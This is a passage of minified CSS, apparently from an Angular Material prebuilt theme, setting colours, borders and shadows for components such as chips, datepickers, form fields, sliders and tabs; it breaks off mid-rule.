.mat-ripple-element{background:rgba(255,255,255,.1)}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-warn{background-color:#f44336;color:#fff}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-chip-remove{color:#fff;opacity:.4}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-warn .mat-ripple-element{background:rgba(255,255,255,.1)}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-accent{background-color:#ff4081;color:#fff}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-chip-remove{color:#fff;opacity:.4}\n.mat-chip.mat-standard-chip.mat-chip-selected.mat-accent .mat-ripple-element{background:rgba(255,255,255,.1)}\n.mat-table{background:#fff}\n.mat-table tbody,.mat-table tfoot,.mat-table thead,.mat-table-sticky,[mat-footer-row],[mat-header-row],[mat-row],mat-footer-row,mat-header-row,mat-row{background:inherit}\nmat-footer-row,mat-header-row,mat-row,td.mat-cell,td.mat-footer-cell,th.mat-header-cell{border-bottom-color:rgba(0,0,0,.12)}\n.mat-header-cell{color:rgba(0,0,0,.54)}\n.mat-cell,.mat-footer-cell{color:rgba(0,0,0,.87)}\n.mat-calendar-arrow{border-top-color:rgba(0,0,0,.54)}\n.mat-datepicker-content .mat-calendar-next-button,.mat-datepicker-content .mat-calendar-previous-button,.mat-datepicker-toggle{color:rgba(0,0,0,.54)}\n.mat-calendar-table-header{color:rgba(0,0,0,.38)}\n.mat-calendar-table-header-divider::after{background:rgba(0,0,0,.12)}\n.mat-calendar-body-label{color:rgba(0,0,0,.54)}\n.mat-calendar-body-cell-content{color:rgba(0,0,0,.87);border-color:transparent}\n.mat-calendar-body-disabled>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected){color:rgba(0,0,0,.38)}\n.cdk-keyboard-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected),.cdk-program-focused .mat-calendar-body-active>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected),.mat-calendar-body-cell:not(.mat-calendar-body-disabled):hover>.mat-calendar-body-cell-content:not(.mat-calendar-body-selected){background-color:rgba(0,0,0,.04)}\n.mat-calendar-body-today:not(.mat-calendar-body-selected){border-color:rgba(0,0,0,.38)}\n.mat-calendar-body-disabled>.mat-calendar-body-today:not(.mat-calendar-body-selected){border-color:rgba(0,0,0,.18)}\n.mat-calendar-body-selected{background-color:#3f51b5;color:#fff}\n.mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:rgba(63,81,181,.4)}\n.mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}\n.mat-datepicker-content{box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12);background-color:#fff;color:rgba(0,0,0,.87)}\n.mat-datepicker-content.mat-accent .mat-calendar-body-selected{background-color:#ff4081;color:#fff}\n.mat-datepicker-content.mat-accent .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:rgba(255,64,129,.4)}\n.mat-datepicker-content.mat-accent .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}\n.mat-datepicker-content.mat-warn .mat-calendar-body-selected{background-color:#f44336;color:#fff}\n.mat-datepicker-content.mat-warn .mat-calendar-body-disabled>.mat-calendar-body-selected{background-color:rgba(244,67,54,.4)}\n.mat-datepicker-content.mat-warn .mat-calendar-body-today.mat-calendar-body-selected{box-shadow:inset 0 0 0 1px #fff}\n.mat-datepicker-content-touch{box-shadow:0 0 0 0 rgba(0,0,0,.2),0 0 0 0 rgba(0,0,0,.14),0 0 0 0 rgba(0,0,0,.12)}\n.mat-datepicker-toggle-active{color:#3f51b5}\n.mat-datepicker-toggle-active.mat-accent{color:#ff4081}\n.mat-datepicker-toggle-active.mat-warn{color:#f44336}\n.mat-dialog-container{box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12);background:#fff;color:rgba(0,0,0,.87)}\n.mat-divider{border-top-color:rgba(0,0,0,.12)}\n.mat-divider-vertical{border-right-color:rgba(0,0,0,.12)}\n.mat-expansion-panel{background:#fff;color:rgba(0,0,0,.87)}\n.mat-expansion-panel:not([class*=mat-elevation-z]){box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)}\n.mat-action-row{border-top-color:rgba(0,0,0,.12)}\n.mat-expansion-panel .mat-expansion-panel-header.cdk-keyboard-focused:not([aria-disabled=true]),.mat-expansion-panel .mat-expansion-panel-header.cdk-program-focused:not([aria-disabled=true]),.mat-expansion-panel:not(.mat-expanded) .mat-expansion-panel-header:hover:not([aria-disabled=true]){background:rgba(0,0,0,.04)}\n@media (hover:none){.mat-expansion-panel:not(.mat-expanded):not([aria-disabled=true]) .mat-expansion-panel-header:hover{background:#fff}}\n.mat-expansion-panel-header-title{color:rgba(0,0,0,.87)}\n.mat-expansion-indicator::after,.mat-expansion-panel-header-description{color:rgba(0,0,0,.54)}\n.mat-expansion-panel-header[aria-disabled=true]{color:rgba(0,0,0,.26)}\n.mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-description,.mat-expansion-panel-header[aria-disabled=true] .mat-expansion-panel-header-title{color:inherit}\n.mat-form-field-label{color:rgba(0,0,0,.6)}\n.mat-hint{color:rgba(0,0,0,.6)}\n.mat-form-field.mat-focused .mat-form-field-label{color:#3f51b5}\n.mat-form-field.mat-focused .mat-form-field-label.mat-accent{color:#ff4081}\n.mat-form-field.mat-focused .mat-form-field-label.mat-warn{color:#f44336}\n.mat-focused .mat-form-field-required-marker{color:#ff4081}\n.mat-form-field-ripple{background-color:rgba(0,0,0,.87)}\n.mat-form-field.mat-focused .mat-form-field-ripple{background-color:#3f51b5}\n.mat-form-field.mat-focused .mat-form-field-ripple.mat-accent{background-color:#ff4081}\n.mat-form-field.mat-focused .mat-form-field-ripple.mat-warn{background-color:#f44336}\n.mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid) .mat-form-field-infix::after{color:#3f51b5}\n.mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-accent .mat-form-field-infix::after{color:#ff4081}\n.mat-form-field-type-mat-native-select.mat-focused:not(.mat-form-field-invalid).mat-warn .mat-form-field-infix::after{color:#f44336}\n.mat-form-field.mat-form-field-invalid .mat-form-field-label{color:#f44336}\n.mat-form-field.mat-form-field-invalid .mat-form-field-label .mat-form-field-required-marker,.mat-form-field.mat-form-field-invalid .mat-form-field-label.mat-accent{color:#f44336}\n.mat-form-field.mat-form-field-invalid .mat-form-field-ripple,.mat-form-field.mat-form-field-invalid .mat-form-field-ripple.mat-accent{background-color:#f44336}\n.mat-error{color:#f44336}\n.mat-form-field-appearance-legacy .mat-form-field-label{color:rgba(0,0,0,.54)}\n.mat-form-field-appearance-legacy .mat-hint{color:rgba(0,0,0,.54)}\n.mat-form-field-appearance-legacy .mat-form-field-underline{background-color:rgba(0,0,0,.42)}\n.mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0,rgba(0,0,0,.42) 33%,transparent 0);background-size:4px 100%;background-repeat:repeat-x}\n.mat-form-field-appearance-standard .mat-form-field-underline{background-color:rgba(0,0,0,.42)}\n.mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-image:linear-gradient(to right,rgba(0,0,0,.42) 0,rgba(0,0,0,.42) 33%,transparent 0);background-size:4px 100%;background-repeat:repeat-x}\n.mat-form-field-appearance-fill .mat-form-field-flex{background-color:rgba(0,0,0,.04)}\n.mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{background-color:rgba(0,0,0,.02)}\n.mat-form-field-appearance-fill .mat-form-field-underline::before{background-color:rgba(0,0,0,.42)}\n.mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-label{color:rgba(0,0,0,.38)}\n.mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-underline::before{background-color:transparent}\n.mat-form-field-appearance-outline .mat-form-field-outline{color:rgba(0,0,0,.12)}\n.mat-form-field-appearance-outline .mat-form-field-outline-thick{color:rgba(0,0,0,.87)}\n.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{color:#3f51b5}\n.mat-form-field-appearance-outline.mat-focused.mat-accent .mat-form-field-outline-thick{color:#ff4081}\n.mat-form-field-appearance-outline.mat-focused.mat-warn .mat-form-field-outline-thick{color:#f44336}\n.mat-form-field-appearance-outline.mat-form-field-invalid.mat-form-field-invalid .mat-form-field-outline-thick{color:#f44336}\n.mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-label{color:rgba(0,0,0,.38)}\n.mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:rgba(0,0,0,.06)}\n.mat-icon.mat-primary{color:#3f51b5}\n.mat-icon.mat-accent{color:#ff4081}\n.mat-icon.mat-warn{color:#f44336}\n.mat-form-field-type-mat-native-select .mat-form-field-infix::after{color:rgba(0,0,0,.54)}\n.mat-form-field-type-mat-native-select.mat-form-field-disabled .mat-form-field-infix::after,.mat-input-element:disabled{color:rgba(0,0,0,.38)}\n.mat-input-element{caret-color:#3f51b5}\n.mat-input-element::-webkit-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-moz-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element:-ms-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-ms-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-moz-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element::-webkit-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-input-element:-ms-input-placeholder{color:rgba(0,0,0,.42)}\n.mat-accent .mat-input-element{caret-color:#ff4081}\n.mat-form-field-invalid .mat-input-element,.mat-warn .mat-input-element{caret-color:#f44336}\n.mat-form-field-type-mat-native-select.mat-form-field-invalid .mat-form-field-infix::after{color:#f44336}\n.mat-list-base .mat-list-item{color:rgba(0,0,0,.87)}\n.mat-list-base .mat-list-option{color:rgba(0,0,0,.87)}\n.mat-list-base .mat-subheader{color:rgba(0,0,0,.54)}\n.mat-list-item-disabled{background-color:#eee}\n.mat-action-list .mat-list-item:focus,.mat-action-list .mat-list-item:hover,.mat-list-option:focus,.mat-list-option:hover,.mat-nav-list .mat-list-item:focus,.mat-nav-list .mat-list-item:hover{background:rgba(0,0,0,.04)}\n.mat-menu-panel{background:#fff}\n.mat-menu-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-menu-item{background:0 0;color:rgba(0,0,0,.87)}\n.mat-menu-item[disabled],.mat-menu-item[disabled]::after{color:rgba(0,0,0,.38)}\n.mat-menu-item .mat-icon-no-color,.mat-menu-item-submenu-trigger::after{color:rgba(0,0,0,.54)}\n.mat-menu-item-highlighted:not([disabled]),.mat-menu-item.cdk-keyboard-focused:not([disabled]),.mat-menu-item.cdk-program-focused:not([disabled]),.mat-menu-item:hover:not([disabled]){background:rgba(0,0,0,.04)}\n.mat-paginator{background:#fff}\n.mat-paginator,.mat-paginator-page-size .mat-select-trigger{color:rgba(0,0,0,.54)}\n.mat-paginator-decrement,.mat-paginator-increment{border-top:2px solid rgba(0,0,0,.54);border-right:2px solid rgba(0,0,0,.54)}\n.mat-paginator-first,.mat-paginator-last{border-top:2px solid rgba(0,0,0,.54)}\n.mat-icon-button[disabled] .mat-paginator-decrement,.mat-icon-button[disabled] .mat-paginator-first,.mat-icon-button[disabled] .mat-paginator-increment,.mat-icon-button[disabled] .mat-paginator-last{border-color:rgba(0,0,0,.38)}\n.mat-progress-bar-background{fill:#c5cae9}\n.mat-progress-bar-buffer{background-color:#c5cae9}\n.mat-progress-bar-fill::after{background-color:#3f51b5}\n.mat-progress-bar.mat-accent .mat-progress-bar-background{fill:#ff80ab}\n.mat-progress-bar.mat-accent .mat-progress-bar-buffer{background-color:#ff80ab}\n.mat-progress-bar.mat-accent .mat-progress-bar-fill::after{background-color:#ff4081}\n.mat-progress-bar.mat-warn .mat-progress-bar-background{fill:#ffcdd2}\n.mat-progress-bar.mat-warn .mat-progress-bar-buffer{background-color:#ffcdd2}\n.mat-progress-bar.mat-warn .mat-progress-bar-fill::after{background-color:#f44336}\n.mat-progress-spinner circle,.mat-spinner circle{stroke:#3f51b5}\n.mat-progress-spinner.mat-accent circle,.mat-spinner.mat-accent circle{stroke:#ff4081}\n.mat-progress-spinner.mat-warn circle,.mat-spinner.mat-warn circle{stroke:#f44336}\n.mat-radio-outer-circle{border-color:rgba(0,0,0,.54)}\n.mat-radio-button.mat-primary.mat-radio-checked .mat-radio-outer-circle{border-color:#3f51b5}\n.mat-radio-button.mat-primary .mat-radio-inner-circle,.mat-radio-button.mat-primary .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.mat-radio-button.mat-primary.mat-radio-checked .mat-radio-persistent-ripple,.mat-radio-button.mat-primary:active .mat-radio-persistent-ripple{background-color:#3f51b5}\n.mat-radio-button.mat-accent.mat-radio-checked .mat-radio-outer-circle{border-color:#ff4081}\n.mat-radio-button.mat-accent .mat-radio-inner-circle,.mat-radio-button.mat-accent .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.mat-radio-button.mat-accent.mat-radio-checked .mat-radio-persistent-ripple,.mat-radio-button.mat-accent:active .mat-radio-persistent-ripple{background-color:#ff4081}\n.mat-radio-button.mat-warn.mat-radio-checked .mat-radio-outer-circle{border-color:#f44336}\n.mat-radio-button.mat-warn .mat-radio-inner-circle,.mat-radio-button.mat-warn .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple),.mat-radio-button.mat-warn.mat-radio-checked .mat-radio-persistent-ripple,.mat-radio-button.mat-warn:active .mat-radio-persistent-ripple{background-color:#f44336}\n.mat-radio-button.mat-radio-disabled .mat-radio-outer-circle,.mat-radio-button.mat-radio-disabled.mat-radio-checked .mat-radio-outer-circle{border-color:rgba(0,0,0,.38)}\n.mat-radio-button.mat-radio-disabled .mat-radio-inner-circle,.mat-radio-button.mat-radio-disabled .mat-radio-ripple .mat-ripple-element{background-color:rgba(0,0,0,.38)}\n.mat-radio-button.mat-radio-disabled .mat-radio-label-content{color:rgba(0,0,0,.38)}\n.mat-radio-button .mat-ripple-element{background-color:#000}\n.mat-select-value{color:rgba(0,0,0,.87)}\n.mat-select-placeholder{color:rgba(0,0,0,.42)}\n.mat-select-disabled .mat-select-value{color:rgba(0,0,0,.38)}\n.mat-select-arrow{color:rgba(0,0,0,.54)}\n.mat-select-panel{background:#fff}\n.mat-select-panel:not([class*=mat-elevation-z]){box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)}\n.mat-select-panel .mat-option.mat-selected:not(.mat-option-multiple){background:rgba(0,0,0,.12)}\n.mat-form-field.mat-focused.mat-primary .mat-select-arrow{color:#3f51b5}\n.mat-form-field.mat-focused.mat-accent .mat-select-arrow{color:#ff4081}\n.mat-form-field.mat-focused.mat-warn .mat-select-arrow{color:#f44336}\n.mat-form-field .mat-select.mat-select-invalid .mat-select-arrow{color:#f44336}\n.mat-form-field .mat-select.mat-select-disabled .mat-select-arrow{color:rgba(0,0,0,.38)}\n.mat-drawer-container{background-color:#fafafa;color:rgba(0,0,0,.87)}\n.mat-drawer{background-color:#fff;color:rgba(0,0,0,.87)}\n.mat-drawer.mat-drawer-push{background-color:#fff}\n.mat-drawer:not(.mat-drawer-side){box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)}\n.mat-drawer-side{border-right:solid 1px rgba(0,0,0,.12)}\n.mat-drawer-side.mat-drawer-end{border-left:solid 1px rgba(0,0,0,.12);border-right:none}\n[dir=rtl] .mat-drawer-side{border-left:solid 1px rgba(0,0,0,.12);border-right:none}\n[dir=rtl] .mat-drawer-side.mat-drawer-end{border-left:none;border-right:solid 1px rgba(0,0,0,.12)}\n.mat-drawer-backdrop.mat-drawer-shown{background-color:rgba(0,0,0,.6)}\n.mat-slide-toggle.mat-checked .mat-slide-toggle-thumb{background-color:#ff4081}\n.mat-slide-toggle.mat-checked .mat-slide-toggle-bar{background-color:rgba(255,64,129,.54)}\n.mat-slide-toggle.mat-checked .mat-ripple-element{background-color:#ff4081}\n.mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-thumb{background-color:#3f51b5}\n.mat-slide-toggle.mat-primary.mat-checked .mat-slide-toggle-bar{background-color:rgba(63,81,181,.54)}\n.mat-slide-toggle.mat-primary.mat-checked .mat-ripple-element{background-color:#3f51b5}\n.mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-thumb{background-color:#f44336}\n.mat-slide-toggle.mat-warn.mat-checked .mat-slide-toggle-bar{background-color:rgba(244,67,54,.54)}\n.mat-slide-toggle.mat-warn.mat-checked .mat-ripple-element{background-color:#f44336}\n.mat-slide-toggle:not(.mat-checked) .mat-ripple-element{background-color:#000}\n.mat-slide-toggle-thumb{box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12);background-color:#fafafa}\n.mat-slide-toggle-bar{background-color:rgba(0,0,0,.38)}\n.mat-slider-track-background{background-color:rgba(0,0,0,.26)}\n.mat-primary .mat-slider-thumb,.mat-primary .mat-slider-thumb-label,.mat-primary .mat-slider-track-fill{background-color:#3f51b5}\n.mat-primary .mat-slider-thumb-label-text{color:#fff}\n.mat-accent .mat-slider-thumb,.mat-accent .mat-slider-thumb-label,.mat-accent .mat-slider-track-fill{background-color:#ff4081}\n.mat-accent .mat-slider-thumb-label-text{color:#fff}\n.mat-warn .mat-slider-thumb,.mat-warn .mat-slider-thumb-label,.mat-warn .mat-slider-track-fill{background-color:#f44336}\n.mat-warn .mat-slider-thumb-label-text{color:#fff}\n.mat-slider-focus-ring{background-color:rgba(255,64,129,.2)}\n.cdk-focused .mat-slider-track-background,.mat-slider:hover .mat-slider-track-background{background-color:rgba(0,0,0,.38)}\n.mat-slider-disabled .mat-slider-thumb,.mat-slider-disabled .mat-slider-track-background,.mat-slider-disabled .mat-slider-track-fill{background-color:rgba(0,0,0,.26)}\n.mat-slider-disabled:hover .mat-slider-track-background{background-color:rgba(0,0,0,.26)}\n.mat-slider-min-value .mat-slider-focus-ring{background-color:rgba(0,0,0,.12)}\n.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb,.mat-slider-min-value.mat-slider-thumb-label-showing .mat-slider-thumb-label{background-color:rgba(0,0,0,.87)}\n.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb,.mat-slider-min-value.mat-slider-thumb-label-showing.cdk-focused .mat-slider-thumb-label{background-color:rgba(0,0,0,.26)}\n.mat-slider-min-value:not(.mat-slider-thumb-label-showing) .mat-slider-thumb{border-color:rgba(0,0,0,.26);background-color:transparent}\n.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused .mat-slider-thumb,.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover .mat-slider-thumb{border-color:rgba(0,0,0,.38)}\n.mat-slider-min-value:not(.mat-slider-thumb-label-showing).cdk-focused.mat-slider-disabled .mat-slider-thumb,.mat-slider-min-value:not(.mat-slider-thumb-label-showing):hover.mat-slider-disabled .mat-slider-thumb{border-color:rgba(0,0,0,.26)}\n.mat-slider-has-ticks .mat-slider-wrapper::after{border-color:rgba(0,0,0,.7)}\n.mat-slider-horizontal .mat-slider-ticks{background-image:repeating-linear-gradient(to right,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent);background-image:-moz-repeating-linear-gradient(.0001deg,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}\n.mat-slider-vertical .mat-slider-ticks{background-image:repeating-linear-gradient(to bottom,rgba(0,0,0,.7),rgba(0,0,0,.7) 2px,transparent 0,transparent)}\n.mat-step-header.cdk-keyboard-focused,.mat-step-header.cdk-program-focused,.mat-step-header:hover{background-color:rgba(0,0,0,.04)}\n@media (hover:none){.mat-step-header:hover{background:0 0}}\n.mat-step-header .mat-step-label,.mat-step-header .mat-step-optional{color:rgba(0,0,0,.54)}\n.mat-step-header .mat-step-icon{background-color:rgba(0,0,0,.54);color:#fff}\n.mat-step-header .mat-step-icon-selected,.mat-step-header .mat-step-icon-state-done,.mat-step-header .mat-step-icon-state-edit{background-color:#3f51b5;color:#fff}\n.mat-step-header .mat-step-icon-state-error{background-color:transparent;color:#f44336}\n.mat-step-header .mat-step-label.mat-step-label-active{color:rgba(0,0,0,.87)}\n.mat-step-header .mat-step-label.mat-step-label-error{color:#f44336}\n.mat-stepper-horizontal,.mat-stepper-vertical{background-color:#fff}\n.mat-stepper-vertical-line::before{border-left-color:rgba(0,0,0,.12)}\n.mat-horizontal-stepper-header::after,.mat-horizontal-stepper-header::before,.mat-stepper-horizontal-line{border-top-color:rgba(0,0,0,.12)}\n.mat-sort-header-arrow{color:#757575}\n.mat-tab-header,.mat-tab-nav-bar{border-bottom:1px solid rgba(0,0,0,.12)}\n.mat-tab-group-inverted-header .mat-tab-header,.mat-tab-group-inverted-header .mat-tab-nav-bar{border-top:1px solid rgba(0,0,0,.12);border-bottom:none}\n.mat-tab-label,.mat-tab-link{color:rgba(0,0,0,.87)}\n.mat-tab-label.mat-tab-disabled,.mat-tab-link.mat-tab-disabled{color:rgba(0,0,0,.38)}\n.mat-tab-header-pagination-chevron{border-color:rgba(0,0,0,.87)}\n.mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(0,0,0,.38)}\n.mat-tab-group[class*=mat-background-] .mat-tab-header,.mat-tab-nav-bar[class*=mat-background-]{border-bottom:none;border-top:none}\n.mat-tab-group.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(197,202,233,.3)}\n.mat-tab-group.mat-primary .mat-ink-bar,.mat-tab-nav-bar.mat-primary .mat-ink-bar{background-color:#3f51b5}\n.mat-tab-group.mat-primary.mat-background-primary .mat-ink-bar,.mat-tab-nav-bar.mat-primary.mat-background-primary .mat-ink-bar{background-color:#fff}\n.mat-tab-group.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,128,171,.3)}\n.mat-tab-group.mat-accent .mat-ink-bar,.mat-tab-nav-bar.mat-accent .mat-ink-bar{background-color:#ff4081}\n.mat-tab-group.mat-accent.mat-background-accent .mat-ink-bar,.mat-tab-nav-bar.mat-accent.mat-background-accent .mat-ink-bar{background-color:#fff}\n.mat-tab-group.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-warn .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,205,210,.3)}\n.mat-tab-group.mat-warn .mat-ink-bar,.mat-tab-nav-bar.mat-warn .mat-ink-bar{background-color:#f44336}\n.mat-tab-group.mat-warn.mat-background-warn .mat-ink-bar,.mat-tab-nav-bar.mat-warn.mat-background-warn .mat-ink-bar{background-color:#fff}\n.mat-tab-group.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-primary .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(197,202,233,.3)}\n.mat-tab-group.mat-background-primary .mat-tab-header,.mat-tab-group.mat-background-primary .mat-tab-header-pagination,.mat-tab-group.mat-background-primary .mat-tab-links,.mat-tab-nav-bar.mat-background-primary .mat-tab-header,.mat-tab-nav-bar.mat-background-primary .mat-tab-header-pagination,.mat-tab-nav-bar.mat-background-primary .mat-tab-links{background-color:#3f51b5}\n.mat-tab-group.mat-background-primary .mat-tab-label,.mat-tab-group.mat-background-primary .mat-tab-link,.mat-tab-nav-bar.mat-background-primary .mat-tab-label,.mat-tab-nav-bar.mat-background-primary .mat-tab-link{color:#fff}\n.mat-tab-group.mat-background-primary .mat-tab-label.mat-tab-disabled,.mat-tab-group.mat-background-primary .mat-tab-link.mat-tab-disabled,.mat-tab-nav-bar.mat-background-primary .mat-tab-label.mat-tab-disabled,.mat-tab-nav-bar.mat-background-primary .mat-tab-link.mat-tab-disabled{color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-primary .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-primary .mat-tab-header-pagination-chevron{border-color:#fff}\n.mat-tab-group.mat-background-primary .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-primary .mat-tab-header-pagination-disabled .mat-tab-header-pagination-chevron{border-color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-primary .mat-ripple-element,.mat-tab-nav-bar.mat-background-primary .mat-ripple-element{background-color:rgba(255,255,255,.12)}\n.mat-tab-group.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-group.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-label.cdk-program-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-keyboard-focused:not(.mat-tab-disabled),.mat-tab-nav-bar.mat-background-accent .mat-tab-link.cdk-program-focused:not(.mat-tab-disabled){background-color:rgba(255,128,171,.3)}\n.mat-tab-group.mat-background-accent .mat-tab-header,.mat-tab-group.mat-background-accent .mat-tab-header-pagination,.mat-tab-group.mat-background-accent .mat-tab-links,.mat-tab-nav-bar.mat-background-accent .mat-tab-header,.mat-tab-nav-bar.mat-background-accent .mat-tab-header-pagination,.mat-tab-nav-bar.mat-background-accent .mat-tab-links{background-color:#ff4081}\n.mat-tab-group.mat-background-accent .mat-tab-label,.mat-tab-group.mat-background-accent .mat-tab-link,.mat-tab-nav-bar.mat-background-accent .mat-tab-label,.mat-tab-nav-bar.mat-background-accent .mat-tab-link{color:#fff}\n.mat-tab-group.mat-background-accent .mat-tab-label.mat-tab-disabled,.mat-tab-group.mat-background-accent .mat-tab-link.mat-tab-disabled,.mat-tab-nav-bar.mat-background-accent .mat-tab-label.mat-tab-disabled,.mat-tab-nav-bar.mat-background-accent .mat-tab-link.mat-tab-disabled{color:rgba(255,255,255,.4)}\n.mat-tab-group.mat-background-accent .mat-tab-header-pagination-chevron,.mat-tab-nav-bar.mat-background-accent .mat-tab-header-pagination-chevron{border-color:#fff}\n.mat-tab-group.mat-background-accent 